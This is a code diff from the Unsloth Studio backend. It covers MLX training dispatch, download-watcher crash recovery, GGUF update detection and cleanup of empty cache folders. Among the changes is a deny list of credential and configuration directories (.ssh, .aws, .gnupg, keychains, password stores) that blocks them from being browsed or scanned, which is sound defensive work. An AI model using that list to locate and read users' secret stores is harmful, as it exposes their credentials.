@@ def _run_mlx_training(event_queue, stop_queue, config): _send("eval_configured") # ── 7. Apply train_on_responses_only if requested ── - if config.get("train_on_completions", False): + # Auto-detect markers from the chat template first, manual table as + # fallback. Mirror the CUDA skips: raw/CPT text has no chat turns and + # Alpaca-rendered text lacks the chat markers. Also check the resolved + # format, since format_type="auto" can land on alpaca or raw text. + if ( + config.get("train_on_completions", False) + and not raw_text_mode + and format_type != "alpaca" + and dataset_final_format not in ("alpaca", "raw_text") + ): _send("status", status_message = "Configuring response-only training...") - try: - from utils.datasets import ( - MODEL_TO_TEMPLATE_MAPPER, - TEMPLATE_TO_RESPONSES_MAPPER, - ) - - template_name = MODEL_TO_TEMPLATE_MAPPER.get(model_name.lower()) - markers = TEMPLATE_TO_RESPONSES_MAPPER.get(template_name) if template_name else None - if markers: - trainer = train_on_responses_only( - trainer, - instruction_part = markers["instruction"], - response_part = markers["response"], - ) - else: - _send( - "status", - status_message = f"train_on_completions skipped (no template for {model_name})", - ) - except Exception as e: - _send("status", status_message = f"train_on_completions failed: {e}") + # No catch: the helper handles detection failures and double misses, so + # an exception here is a real masking failure that must fail the run, + # not silently train on full sequences. + from utils.datasets.completion_masking import apply_completion_masking + trainer, _masking_applied = apply_completion_masking( + trainer, + model_name, + train_on_responses_only, + notify = lambda level, message: _send("status", status_message = message), + ) # ── 8. Setup wandb / tensorboard ── wandb_run = None @@ -1942,7 +1990,8 @@ def _run_mlx_training(event_queue, stop_queue, config): wandb_token = config.get("wandb_token") if wandb_token: os.environ["WANDB_API_KEY"] = wandb_token - _wandb_sensitive = {"hf_token", "wandb_token", "s3_config"} + # Keep the authenticated subject out of W&B run config (mirrors _sanitize_db_config). + _wandb_sensitive = {"hf_token", "wandb_token", "s3_config", "subject"} wandb_run = _wandb.init( project = config.get("wandb_project") or "unsloth-mlx", config = {k: v for k, v in config.items() if k not in _wandb_sensitive}, @@ -2047,12 +2096,27 @@ def _run_mlx_training(event_queue, stop_queue, config): # ── 11. Run training ── gc.collect() mx.synchronize() - trainer.train(resume_from_checkpoint = resume_from_checkpoint) + _save_model = trainer.save_model + + def _skip_internal_final_save(*args, **kwargs): + raise ValueError("worker owns final save") + + trainer.save_model = _skip_internal_final_save + try: + trainer.train(resume_from_checkpoint = resume_from_checkpoint) + finally: + trainer.save_model = _save_model # ── 12. Save and finalize ── - if trainer.stop_requested and not _stop_save[0]: - # User clicked "Cancel" (save=False) — skip saving - _send("complete", output_dir = None, status_message = "Training cancelled") + if trainer.stop_requested: + if not _stop_save[0]: + # Cancel (save=False): skip saving. + _send("complete", output_dir = None, status_message = "Training cancelled") + else: + _send("status", status_message = "Saving stopped model...") + mx.synchronize() + trainer.save_model(output_dir) + _send("complete", output_dir = output_dir, status_message = "Training stopped") else: _send("status", status_message = "Saving model...") mx.synchronize() @@ -2071,6 +2135,79 @@ def _run_mlx_training(event_queue, stop_queue, config): pass +def _is_current_process_apple_silicon() -> bool: + import platform + return platform.system() == "Darwin" and platform.machine() == "arm64" + + +def run_mlx_training_process( + *, + event_queue: Any, + stop_queue: Any, + config: dict, + transformers_activated: bool = False, +) -> None: + """MLX worker entrypoint shared by Studio subprocesses and the CLI adapter.""" + model_name = config["model_name"] + + backend_path = str(Path(__file__).resolve().parent.parent.parent) + if backend_path not in sys.path: + sys.path.insert(0, backend_path) + + from utils.hf_xet_fallback import child_should_disable_xet + + if child_should_disable_xet(config): + os.environ["HF_HUB_DISABLE_XET"] = "1" + os.environ["HF_HUB_ENABLE_HF_TRANSFER"] = "0" + + if not transformers_activated: + # Must precede detect_hardware(): its MLX stack check imports mlx_lm, hence transformers. + _activate_transformers_version_or_warn(model_name, config.get("hf_token") or None) + + from utils.hardware import hardware as _hw + + _hw.detect_hardware() + if _hw.DEVICE != _hw.DeviceType.MLX: + event_queue.put( + { + "type": "error", + "error": "MLX training requires Apple Silicon with the MLX backend available.", + "stack": "", + "ts": time.time(), + } + ) + return + + if config.get("is_dataset_audio"): + event_queue.put( + { + "type": "error", + "error": "Audio dataset training is not yet supported on Apple Silicon.", + "stack": "", + "ts": time.time(), + } + ) + return + + try: + try: + _run_mlx_training(event_queue, stop_queue, config) + finally: + try: + stop_queue.put({"type": _MLX_WORKER_COMPLETE}) + except (EOFError, OSError, ValueError): + pass + except Exception as exc: + event_queue.put( + { + "type": "error", + "error": str(exc), + "stack": traceback.format_exc(limit = 20), + "ts": time.time(), + } + ) + + def run_training_process(*, event_queue: Any, stop_queue: Any, config: dict) -> None: """Subprocess entrypoint. Fresh Python — no stale module state. @@ -2145,41 +2282,31 @@ def run_training_process(*, event_queue: Any, stop_queue: Any, config: dict) -> if backend_path not in sys.path: sys.path.insert(0, backend_path) + from .training import is_apple_silicon_training_platform, should_use_mlx_training_backend + + mlx_backend_requested = is_apple_silicon_training_platform() + + mlx_transformers_activated = False + if mlx_backend_requested and _is_current_process_apple_silicon(): + # Must precede detect_hardware(): its MLX stack check imports mlx_lm, hence transformers. + _activate_transformers_version_or_warn(model_name, config.get("hf_token") or None) + mlx_transformers_activated = True + from utils.hardware import hardware as _hw _hw.detect_hardware() - if _hw.DEVICE == _hw.DeviceType.MLX: - if config.get("is_dataset_audio"): - event_queue.put( - { - "type": "error", - "error": "Audio dataset training is not yet supported on Apple Silicon.", - "stack": "", - "ts": time.time(), - } - ) - return - # Activate correct transformers version (Gemma-4 needs a 5.x sidecar, etc.) - # Must happen before any transformers/mlx-lm imports in _run_mlx_training. - # Non-fatal: fall through with whatever version is installed, but log - # the failure instead of swallowing it (issue #6103). - _activate_transformers_version_or_warn(model_name) - try: - _run_mlx_training(event_queue, stop_queue, config) - except Exception as exc: - event_queue.put( - { - "type": "error", - "error": str(exc), - "stack": traceback.format_exc(limit = 20), - "ts": time.time(), - } - ) + if mlx_backend_requested or should_use_mlx_training_backend(device = _hw.DEVICE): + run_mlx_training_process( + event_queue = event_queue, + stop_queue = stop_queue, + config = config, + transformers_activated = mlx_transformers_activated, + ) return # ── 1. Activate correct transformers version BEFORE any ML imports ── try: - _activate_transformers_version(model_name) + _activate_transformers_version(model_name, config.get("hf_token") or None) except Exception as exc: event_queue.put( { @@ -2271,6 +2398,7 @@ def run_training_process(*, event_queue: Any, stop_queue: Any, config: dict) -> hf_token = config.get("hf_token") or None, trust_remote_code = True, approved_fingerprint = config.get("approved_remote_code_fingerprint"), + subject = config.get("subject"), ) if _rc.blocked: event_queue.put( @@ -2764,7 +2892,8 @@ def run_training_process(*, event_queue: Any, stop_queue: Any, config: dict) -> if backend_path not in sys.path: sys.path.insert(0, backend_path) - from core.training.trainer import UnslothTrainer, TrainingProgress + from core.training.training import TrainingProgress + from core.training.trainer import UnslothTrainer from utils.paths import ( ensure_dir, resolve_output_dir, @@ -2892,6 +3021,7 @@ def run_training_process(*, event_queue: Any, stop_queue: Any, config: dict) -> subset = config.get("subset"), train_split = config.get("train_split", "train"), eval_split = config.get("eval_split"), + dataset_streaming = config.get("dataset_streaming", False), eval_steps = config.get("eval_steps", 0.00), dataset_slice_start = config.get("dataset_slice_start"), dataset_slice_end = config.get("dataset_slice_end"), @@ -3109,7 +3239,10 @@ def run_training_process(*, event_queue: Any, stop_queue: Any, config: dict) -> resume_from_checkpoint ) if not output_dir: - output_dir = f"{default_run_dir_name(model_name)}_{int(time.time())}" + output_dir = build_default_output_dir_name( + model_name, + config.get("project_name"), + ) output_dir = str(resolve_output_dir(output_dir)) ensure_dir(Path(output_dir)) @@ -3250,6 +3383,10 @@ def _run_embedding_training(event_queue: Any, stop_queue: Any, config: dict) -> # ── 1. Import embedding-specific libraries ── _send_status(event_queue, "Importing embedding libraries...") try: + # Recover from a namespace-package shadow (embedding imports unsloth directly). + from core.import_guards import ensure_real_packages + + ensure_real_packages("unsloth_zoo", "unsloth") from unsloth import FastSentenceTransformer, is_bfloat16_supported from sentence_transformers import ( SentenceTransformerTrainer, @@ -3357,6 +3494,7 @@ def _run_embedding_training(event_queue: Any, stop_queue: Any, config: dict) -> hf_token = hf_token, trust_remote_code = True, approved_fingerprint = config.get("approved_remote_code_fingerprint"), + subject = config.get("subject"), ) if _rc.blocked: event_queue.put( @@ -3585,7 +3723,10 @@ def _run_embedding_training(event_queue: Any, stop_queue: Any, config: dict) -> resume_from_checkpoint ) if not output_dir: - output_dir = f"{default_run_dir_name(model_name)}_{int(time.time())}" + output_dir = build_default_output_dir_name( + model_name, + config.get("project_name"), + ) output_dir = str(resolve_output_dir(output_dir)) num_epochs = config.get("num_epochs", 2) diff --git a/studio/backend/hub/schemas/inventory.py b/studio/backend/hub/schemas/inventory.py index 44ff545e76..ef95efe2f2 100644 --- a/studio/backend/hub/schemas/inventory.py +++ b/studio/backend/hub/schemas/inventory.py @@ -27,6 +27,9 @@ class GgufVariantDetail(BaseModel): downloaded: bool = Field( False, description = "Whether this variant is already in the local HF cache" ) + update_available: bool = Field( + False, description = "Whether a newer main GGUF blob is available on Hugging Face" + ) partial: bool = Field( False, description = "Whether this variant has an in-progress (.incomplete) blob in cache", diff --git a/studio/backend/hub/services/download_lifecycle.py b/studio/backend/hub/services/download_lifecycle.py index c2b99c0f18..44c39337fb 100644 --- a/studio/backend/hub/services/download_lifecycle.py +++ b/studio/backend/hub/services/download_lifecycle.py @@ -314,25 +314,50 @@ def register_worker( worker_token = hf_token def _watch() -> None: - finalize_worker_exit( - registry, - key, - proc, - hf_token = worker_token, - label = label, - log_prefix = log_prefix, - logger = logger, - repo_type = repo_type, - repo_id = repo_id, - transport = transport, - ) - if registry.get_job(key).state in ("error", "cancelled"): - download_registry.purge_empty_marker_dir( - repo_type, - repo_id, - download_registry.variant_from_key(key), + try: + finalize_worker_exit( + registry, + key, + proc, + hf_token = worker_token, + label = label, + log_prefix = log_prefix, + logger = logger, + repo_type = repo_type, + repo_id = repo_id, + transport = transport, ) - hf_cache_scan.invalidate_hf_cache_scans() + except Exception: + # finalize_worker_exit is the only thing that clears running/cancelling; + # if it raises, force a terminal state so claim() isn't blocked until restart. + logger.exception("download watcher crashed for %s", key) + # finalize may have raised before reaping the worker; terminate the + # still-registered Popen first, else the terminal set_job clears the + # repo guard and a live worker would race a retry on the same repo. + try: + kill_and_reap_process(proc, label = label, logger = logger) + except Exception: + logger.exception("failed to reap worker after watcher crash for %s", key) + try: + registry.drop_process(key, proc) + except Exception: + logger.exception("failed to drop worker after watcher crash for %s", key) + try: + registry.set_job(key, "error", "download watcher crashed") + except Exception: + logger.exception("failed to mark %s errored after watcher crash", key) + finally: + try: + if registry.get_job(key).state in ("error", "cancelled"): + download_registry.purge_empty_marker_dir( + repo_type, + repo_id, + download_registry.variant_from_key(key), + ) + except Exception: + logger.exception("post-finalize marker cleanup failed for %s", key) + finally: + hf_cache_scan.invalidate_hf_cache_scans() threading.Thread(target = _watch, name = watch_name, daemon = True).start() return True diff --git a/studio/backend/hub/services/models/cache_inventory.py b/studio/backend/hub/services/models/cache_inventory.py index a961a6ae9d..a27e4860e6 100644 --- a/studio/backend/hub/services/models/cache_inventory.py +++ b/studio/backend/hub/services/models/cache_inventory.py @@ -39,8 +39,10 @@ from hub.services.models.common import ( logger = get_logger(__name__) -_repo_size_cache: "OrderedDict[tuple[str, str], tuple[int, frozenset[str], float]]" = OrderedDict() -_repo_size_neg_cache: "OrderedDict[tuple[str, str], float]" = OrderedDict() +_repo_size_cache: "OrderedDict[tuple[str, str, str], tuple[int, frozenset[str], float]]" = ( + OrderedDict() +) +_repo_size_neg_cache: "OrderedDict[tuple[str, str, str], float]" = OrderedDict() _REPO_SIZE_CACHE_MAX = 256 _REPO_SIZE_POS_TTL = 60.0 _REPO_SIZE_NEG_TTL = 60.0 @@ -52,7 +54,7 @@ def get_repo_snapshot_metadata_cached( repo_id: str, hf_token: Optional[str] = None ) -> tuple[int, frozenset[str]]: token_fp = hf_cache_scan.token_fingerprint(hf_token) - cache_key = (repo_id, token_fp) + cache_key = (repo_id, token_fp, "snapshot") with _repo_size_cache_lock: cached = _repo_size_cache.get(cache_key) if cached is not None: @@ -119,6 +121,52 @@ def _repo_has_gguf_files(repo_info) -> bool: return _repo_gguf_size_bytes(repo_info) > 0 +def _cached_repo_file_name(file_obj) -> str: + file_path = getattr(file_obj, "file_path", None) + if file_path: + try: + path = Path(file_path) + parts = path.parts + snapshots_idx = max(i for i, part in enumerate(parts) if part == "snapshots") + if len(parts) > snapshots_idx + 2: + return Path(*parts[snapshots_idx + 2 :]).as_posix() + except Exception: + pass + return str(getattr(file_obj, "file_name", "")).replace("\\", "/") + + +def _repo_gguf_blob_map(repo_info, *, include_companions: bool = False) -> dict[str, set[str]]: + """Map each cached GGUF file's repo-relative name to the SET of its local + blob hashes across all cached revisions. + + HF names each local cache blob FILE by the file's etag (lfs.sha256 else + blob_id), so a local file's blob hash == ``Path(blob_path).name``. An updated + repo keeps BOTH the old and new revision snapshots until HF garbage-collects + them, so the same file resolves to several blobs; collecting them ALL (not + just the first one seen, since ``repo_info.revisions`` is a frozenset and + yields them in arbitrary order) lets the remote-vs-local diff treat the file + as current when the remote (``main``) blob is present in any cached revision. + Mirrors the ``cached_blob_ids`` membership test in routes/models.py. + + By default this keeps the historical MAIN-GGUF-only behavior. GGUF update + checks opt into companions so a shared mmproj/MTP blob can be compared too. + """ + blob_map: dict[str, set[str]] = {} + for revision in repo_info.revisions: + for f in revision.files: + if include_companions: + if not _is_gguf_filename(f.file_name): + continue + elif not _is_main_gguf_filename(f.file_name): + continue + blob_path = getattr(f, "blob_path", None) + if not blob_path: + continue + name = _cached_repo_file_name(f) + blob_map.setdefault(name, set()).add(Path(blob_path).name) + return blob_map + + def _prefer_cache_row(candidate: dict, existing: Optional[dict]) -> bool: if existing is None: return True diff --git a/studio/backend/hub/services/models/deletion.py b/studio/backend/hub/services/models/deletion.py index ecc9f8426d..e7c54fc75b 100644 --- a/studio/backend/hub/services/models/deletion.py +++ b/studio/backend/hub/services/models/deletion.py @@ -6,6 +6,7 @@ from __future__ import annotations import asyncio +import errno from pathlib import Path from typing import Optional @@ -15,7 +16,7 @@ from loggers import get_logger from hub.utils import download_manifest from hub.utils import download_registry from hub.utils import inventory_scan as hf_cache_scan -from hub.utils.gguf import extract_quant_label +from hub.utils.gguf import extract_quant_label, extract_quant_token from hub.utils.hf_cache_state import ( INCOMPLETE_SUFFIX, purge_partial_repo, @@ -106,6 +107,76 @@ def _has_remaining_main_gguf(target_repo) -> bool: ) +def _remove_empty_variant_dirs(target_repos: list, variant: str) -> tuple[int, list[str]]: + """Remove now-empty ``snapshots///`` folders for *variant* (the + quant label names the folder); only empty dirs go, so siblings are safe. + Returns (count removed, removal failures other than a concurrent refill).""" + variant_key = (extract_quant_token(variant) or variant).lower() + removed = 0 + failures: list[str] = [] + for target_repo in target_repos: + repo_path = getattr(target_repo, "repo_path", None) + if not repo_path: + continue + snapshots = Path(repo_path) / "snapshots" + if not snapshots.is_dir(): + continue + try: + snap_dirs = [s for s in snapshots.iterdir() if s.is_dir() and not s.is_symlink()] + except OSError: + continue + for snap in snap_dirs: + try: + subs = list(snap.iterdir()) + except OSError: + continue + for sub in subs: + try: + if sub.is_symlink() or not sub.is_dir(): + continue + folder_quant = extract_quant_token(sub.name) + matches = ( + folder_quant is not None and folder_quant.lower() == variant_key + ) or sub.name.lower() == variant.lower() + if not matches or any(sub.iterdir()): + continue + except OSError: + continue + try: + sub.rmdir() + removed += 1 + except OSError as e: + # A concurrent download refilling the dir (ENOTEMPTY) is not a + # failure; a read-only cache or locked dir is, so surface it. + if e.errno != errno.ENOTEMPTY: + failures.append(f"{sub.name}: {e}") + return removed, failures + + +def _remove_empty_snapshot_dirs(target_repos: list) -> tuple[int, list[str]]: + removed = 0 + failures: list[str] = [] + for target_repo in target_repos: + repo_path = getattr(target_repo, "repo_path", None) + if not repo_path: + continue + snapshots = Path(repo_path) / "snapshots" + if not snapshots.is_dir(): + continue + try: + snap_dirs = [s for s in snapshots.iterdir() if s.is_dir() and not s.is_symlink()] + except OSError: + continue + for snap in snap_dirs: + try: + snap.rmdir() + removed += 1 + except OSError as e: + if e.errno != errno.ENOTEMPTY: + failures.append(f"{snap.name}: {e}") + return removed, failures + + def _delete_gguf_variant_from_repos( repo_id: str, variant: str, @@ -206,11 +277,26 @@ def _delete_gguf_variant_from_repos( ) state_purged = download_manifest.purge_state("model", repo_id, variant) + # Reclaim the empty quant folder so it stops 404ing on delete. + removed_dirs, dir_failures = _remove_empty_variant_dirs(target_repos, variant) + removed_snap_dirs, snap_dir_failures = _remove_empty_snapshot_dirs(target_repos) + removed_dirs += removed_snap_dirs + dir_failures.extend(snap_dir_failures) + if dir_failures: + raise HTTPException( + status_code = 409, + detail = ( + f"Couldn't fully delete {variant} for {repo_id}: " + f"{len(dir_failures)} folder(s) could not be removed " + "(read-only cache or in use). Try again." + ), + ) if ( removed_snapshots == 0 and deleted_blobs == 0 and incomplete_result.deleted == 0 and not state_purged + and removed_dirs == 0 ): raise HTTPException( status_code = 404, @@ -225,6 +311,181 @@ def _delete_gguf_variant_from_repos( return {"status": "deleted", "repo_id": repo_id, "variant": variant} +def reclaim_replaced_gguf_variant( + repo_id: str, + variant: str, + keep_main_hashes: frozenset[str], + hf_token: Optional[str] = None, +) -> dict: + """Prune stale main-GGUF files for a variant after a replacement verified. + + This is intentionally narrower than user-driven delete: it removes only + same-variant main files whose local blob hash is not in *keep_main_hashes*, + then unlinks their blobs only if no remaining snapshot references them. + Shared companions and sibling variants are left intact. + """ + if not keep_main_hashes: + logger.info( + "Skipping stale GGUF reclaim for %s [%s]: current main hashes unresolved", + repo_id, + variant, + ) + return { + "status": "skipped", + "repo_id": repo_id, + "variant": variant, + "reason": "unresolved_hashes", + } + if not _is_valid_repo_id(repo_id) or not _is_valid_gguf_variant(variant): + return { + "status": "skipped", + "repo_id": repo_id, + "variant": variant, + "reason": "invalid_target", + } + + failures: list[str] = [] + removed_snapshots = 0 + deleted_blobs = 0 + deleted_bytes = 0 + variant_key = variant.lower() + + try: + cache_scans = cache_inventory.all_hf_cache_scans() + except Exception as e: + logger.warning( + "Skipping stale GGUF reclaim for %s [%s]: cache scan failed: %s", + repo_id, + variant, + download_registry.scrub_secrets(str(e), hf_token = hf_token), + ) + return { + "status": "skipped", + "repo_id": repo_id, + "variant": variant, + "reason": "scan_failed", + } + + candidate_repos = [ + repo_info + for hf_cache in cache_scans + for repo_info in hf_cache.repos + if str(getattr(repo_info, "repo_type", "")) == "model" + and str(getattr(repo_info, "repo_id", "")).lower() == repo_id.lower() + ] + try: + matched_repo_ids = resolve_destructive_repo_ids( + repo_id, + [str(getattr(repo_info, "repo_id", "")) for repo_info in candidate_repos], + noun = "models", + ) + except HTTPException as e: + detail = getattr(e, "detail", str(e)) + logger.warning( + "Skipping stale GGUF reclaim for %s [%s]: %s", + repo_id, + variant, + download_registry.scrub_secrets(str(detail), hf_token = hf_token), + ) + return { + "status": "skipped", + "repo_id": repo_id, + "variant": variant, + "reason": "ambiguous_repo", + } + target_repos = [ + repo_info + for repo_info in candidate_repos + if str(getattr(repo_info, "repo_id", "")) in matched_repo_ids + ] + + for target_repo in target_repos: + repo_dir = Path(target_repo.repo_path) if getattr(target_repo, "repo_path", None) else None + stale_matches: list[tuple[Path, Optional[Path], str]] = [] + matches = _repo_file_matches( + target_repo, + lambda name: _is_main_gguf_filename(name) + and extract_quant_label(name).lower() == variant_key, + ) + for snap, blob, name in matches: + blob_hash = _blob_hash_from_path(blob) if blob is not None else None + if blob_hash is None or blob_hash in keep_main_hashes: + continue + stale_matches.append((snap, blob, name)) + + if not stale_matches: + continue + + for snap, _blob, name in stale_matches: + try: + if _path_exists_or_symlink(snap): + snap.unlink() + removed_snapshots += 1 + except OSError as e: + failures.append(f"{name}: {e}") + + ref_counts = _snapshot_blob_reference_counts(repo_dir) + seen_blobs: set[Path] = set() + for _snap, blob, name in stale_matches: + if blob is None: + continue + try: + blob_key = blob.resolve() + except OSError: + blob_key = blob + if blob_key in seen_blobs: + continue + seen_blobs.add(blob_key) + if ref_counts.get(blob_key, 0) > 0: + continue + try: + if blob.exists(): + deleted_bytes += blob.stat().st_size + blob.unlink() + deleted_blobs += 1 + except OSError as e: + failures.append(f"{name}: {e}") + + removed_dirs = 0 + dir_failures: list[str] = [] + if target_repos: + removed_dirs, dir_failures = _remove_empty_variant_dirs(target_repos, variant) + removed_snap_dirs, snap_dir_failures = _remove_empty_snapshot_dirs(target_repos) + removed_dirs += removed_snap_dirs + dir_failures.extend(snap_dir_failures) + failures.extend(dir_failures) + + if failures: + logger.warning( + "Stale GGUF reclaim for %s [%s] left %d failure(s): %s", + repo_id, + variant, + len(failures), + "; ".join(failures[:3]), + ) + + if removed_snapshots or deleted_blobs or removed_dirs: + cache_inventory.invalidate_hf_cache_scans() + logger.info( + "Reclaimed stale GGUF %s [%s]: snapshots=%d blobs=%d dirs=%d freed=%.1f MB", + repo_id, + variant, + removed_snapshots, + deleted_blobs, + removed_dirs, + deleted_bytes / (1024 * 1024), + ) + + return { + "status": "reclaimed", + "repo_id": repo_id, + "variant": variant, + "removed_snapshots": removed_snapshots, + "deleted_blobs": deleted_blobs, + "removed_dirs": removed_dirs, + } + + def _loaded_id_matches_repo(loaded_id: str, repo_id: str) -> bool: """True when *loaded_id* is *repo_id* or a file within it; ``/``-boundary aware so ``org/model`` doesn't match sibling ``org/model-v2``.""" rid = repo_id.lower() diff --git a/studio/backend/hub/services/models/folder_browser.py b/studio/backend/hub/services/models/folder_browser.py index 9b0b46509b..eb137127fb 100644 --- a/studio/backend/hub/services/models/folder_browser.py +++ b/studio/backend/hub/services/models/folder_browser.py @@ -27,6 +27,7 @@ from hub.utils.paths import ( studio_root, well_known_model_dirs, ) +from utils.paths.external_media import linux_run_media_mount_roots from hub.services.models.common import _safe_is_dir from hub.services.models.local_inventory import _resolve_hf_cache_dir @@ -175,6 +176,8 @@ def _build_browse_allowlist() -> list[Path]: candidates.append(resolved) _add(Path.home()) + for p in linux_run_media_mount_roots(): + _add(p) _add(_resolve_hf_cache_dir()) try: _add(hf_default_cache_dir()) @@ -346,6 +349,11 @@ def _resolve_browse_target(path: Optional[str], allowed_roots: list[Path]) -> Pa ) current = resolved_child + if contains_sensitive_path_component(str(current)): + raise HTTPException( + status_code = 403, + detail = "Credential or configuration directories are not browseable.", + ) if not current.is_dir(): raise HTTPException( status_code = 400, @@ -485,6 +493,8 @@ def browse_folders_response( # Home first as the safe fallback. _add_sug(Path.home()) + for p in linux_run_media_mount_roots(): + _add_sug(p) # The HF cache root in use (honors HF_HOME / HF_HUB_CACHE), then the default. try: _add_sug(_resolve_hf_cache_dir()) diff --git a/studio/backend/hub/services/models/gguf_variants.py b/studio/backend/hub/services/models/gguf_variants.py index 74c3ad6ce2..0147bba19a 100644 --- a/studio/backend/hub/services/models/gguf_variants.py +++ b/studio/backend/hub/services/models/gguf_variants.py @@ -27,6 +27,7 @@ from hub.utils.gguf import ( extract_quant_label, iter_hf_cache_snapshots, is_big_endian_gguf_path, + list_empty_gguf_variant_dirs, list_gguf_variants, list_gguf_variants_from_hf_cache, list_local_gguf_variants, @@ -290,6 +291,75 @@ def _partial_transport_for_variant(repo_id: str, variant: str) -> Optional[str]: return hf_cache_scan.partial_transport_for("model", repo_id, variant) +def _local_main_gguf_blobs_by_quant(repo_id: str) -> dict[str, dict[str, set[str]]]: + """Map quant -> repo-relative expected GGUF filename -> cached blob hashes. + + Shared companions are copied into each main-quant bucket so update checks can + detect mmproj/MTP-only upstream changes without a separate remote call. + """ + result: dict[str, dict[str, set[str]]] = {} + companion_blobs: dict[str, set[str]] = {} + try: + from hub.services.models import cache_inventory + scans = cache_inventory.all_hf_cache_scans() + except Exception as e: + logger.warning("Failed to scan local GGUF blobs for %s: %s", repo_id, e) + return result + + target_lower = repo_id.lower() + for hf_cache in scans: + for repo_info in hf_cache.repos: + if str(getattr(repo_info, "repo_type", "")) != "model": + continue + if str(getattr(repo_info, "repo_id", "")).lower() != target_lower: + continue + for path, hashes in cache_inventory._repo_gguf_blob_map( + repo_info, + include_companions = True, + ).items(): + normalized = str(path).replace("\\", "/") + if not hashes: + continue + if _is_mmproj_filename(normalized) or _is_mtp_drafter_path(normalized): + companion_blobs.setdefault(normalized, set()).update( + str(blob) for blob in hashes if blob + ) + continue + quant = extract_quant_label(normalized).lower() + if is_big_endian_gguf_path(normalized, quant): + continue + bucket = result.setdefault(quant, {}).setdefault(normalized, set()) + bucket.update(str(blob) for blob in hashes if blob) + if companion_blobs: + for local_blobs in result.values(): + for path, hashes in companion_blobs.items(): + local_blobs.setdefault(path, set()).update(hashes) + return result + + +def _variant_update_available_from_requirement( + local_blobs: dict[str, set[str]], requirement: Optional[_GgufVariantRequirement], variant: str +) -> bool: + if requirement is None or not local_blobs: + return False + local_by_posix = {path.replace("\\", "/"): blobs for path, blobs in local_blobs.items()} + for expected in requirement.expected_files: + path = str(expected.path).replace("\\", "/") + if not ( + is_main_gguf_variant_path(path, variant) + or _is_mmproj_filename(path) + or _is_mtp_drafter_path(path) + ): + continue + remote_blob = expected.sha256 + if not remote_blob: + continue + local_set = local_by_posix.get(path) + if not local_set or remote_blob not in local_set: + return True + return False + + def delete_variant_incomplete_blobs_result( repo_id: str, variant: str, @@ -334,6 +404,32 @@ def delete_variant_incomplete_blobs_result( return VariantIncompleteDeleteResult(deleted = deleted, unresolved = False) +def _mark_empty_dir_cleanables( + repo_id: str, response: GgufVariantsResponse +) -> GgufVariantsResponse: + """Surface empty leftover ``/`` folders (interrupted downloads) as + partial so the UI can delete them -- on local/offline paths too, not just a + remote listing. A listed quant is flipped to partial; an unlisted one is + appended as a zero-byte cleanable entry.""" + try: + empty_labels = list_empty_gguf_variant_dirs(repo_id) + except Exception as e: + logger.warning(f"Failed to scan empty GGUF variant folders for {repo_id}: {e}") + return response + if not empty_labels: + return response + empty_by_key = {label.lower(): label for label in empty_labels} + variants = list(response.variants) + listed = {v.quant.lower() for v in variants} + for i, v in enumerate(variants): + if v.quant.lower() in empty_by_key and not v.downloaded and not v.partial: + variants[i] = v.model_copy(update = {"partial": True}) + for key, label in sorted(empty_by_key.items()): + if key not in listed: + variants.append(GgufVariantDetail(filename = f"{label}.gguf", quant = label, partial = True)) + return response.model_copy(update = {"variants": variants}) + + async def get_gguf_variants_response( repo_id: str, prefer_local_cache: bool = False, @@ -630,9 +726,12 @@ async def get_gguf_variants_response( _partial_transport_for_variant(repo_id, variant.quant), ) + local_blobs_by_quant = _local_main_gguf_blobs_by_quant(repo_id) + def _variant_detail(v) -> GgufVariantDetail: is_partial = v.quant in partial_quants requirement = requirements_by_quant.get(v.quant.lower()) + downloaded = _is_fully_downloaded(v) and not is_partial return GgufVariantDetail( filename = v.filename, quant = v.quant, @@ -641,7 +740,13 @@ async def get_gguf_variants_response( download_size_bytes = ( requirement.download_size_bytes if requirement is not None else v.size_bytes ), - downloaded = _is_fully_downloaded(v) and not is_partial, + downloaded = downloaded, + update_available = downloaded + and _variant_update_available_from_requirement( + local_blobs_by_quant.get(v.quant.lower(), {}), + requirement, + v.quant, + ), partial = is_partial, partial_transport = (partial_quant_transports.get(v.quant) if is_partial else None), ) @@ -653,8 +758,28 @@ async def get_gguf_variants_response( default_variant = default_variant, ) + def _compute_with_cleanables() -> GgufVariantsResponse: + skip = is_local_path(repo_id) or not _is_valid_repo_id(repo_id) + try: + response = _compute() + except Exception: + # Offline / metadata fetch failed with only an empty leftover + # / folder cached: still surface it so the UI can delete it, + # otherwise re-raise the original error. + if skip: + raise + enriched = _mark_empty_dir_cleanables( + repo_id, GgufVariantsResponse(repo_id = repo_id, variants = []) + ) + if enriched.variants: + return enriched + raise + if skip: + return response + return _mark_empty_dir_cleanables(repo_id, response) + try: - return await asyncio.to_thread(_compute) + return await asyncio.to_thread(_compute_with_cleanables) except HTTPException: raise except Exception as e: diff --git a/studio/backend/hub/storage/scan_folders.py b/studio/backend/hub/storage/scan_folders.py index 85f515da00..fdb15c7c3c 100644 --- a/studio/backend/hub/storage/scan_folders.py +++ b/studio/backend/hub/storage/scan_folders.py @@ -16,37 +16,14 @@ from datetime import datetime, timezone from storage.studio_db import get_connection from hub.utils.paths import normalize_path +from utils.paths.external_media import is_linux_run_media_path +from utils.paths.sensitive import ( + contains_sensitive_path_component as _shared_contains_sensitive_path_component, +) _schema_lock = threading.Lock() _schema_ready = False -_SENSITIVE_PATH_COMPONENTS = { - ".aws", - ".azure", - ".config", - ".docker", - ".gcloud", - ".gnupg", - ".huggingface", - ".kaggle", - ".kube", - ".modelscope", - ".ngc", - ".local", - ".mozilla", - ".pki", - ".thunderbird", - ".ssh", - ".1password", - ".bitwarden", - ".password-store", - "1password", - "bitwarden", - "keychains", - "keyrings", - "mozilla", - "thunderbird", -} def _denied_path_prefixes() -> list[str]: @@ -76,8 +53,7 @@ def _denied_path_prefixes() -> list[str]: def _contains_sensitive_path_component(path: str) -> bool: - parts = os.path.normpath(path).split(os.sep) - return any(part.lower() in _SENSITIVE_PATH_COMPONENTS for part in parts) + return _shared_contains_sensitive_path_component(path) def contains_sensitive_path_component(path: str) -> bool: @@ -142,6 +118,8 @@ def add_scan_folder(path: str) -> dict: check = os.path.normcase(normalized) if is_win else normalized for prefix in _denied_path_prefixes(): if check == prefix or check.startswith(prefix + os.sep): + if prefix == "/run" and is_linux_run_media_path(check): + continue raise ValueError(f"Path under {prefix} is not allowed") conn = get_connection() diff --git a/studio/backend/hub/tests/test_empty_variant_folder.py b/studio/backend/hub/tests/test_empty_variant_folder.py new file mode 100644 index 0000000000..33bf6c6819 --- /dev/null +++ b/studio/backend/hub/tests/test_empty_variant_folder.py @@ -0,0 +1,166 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights 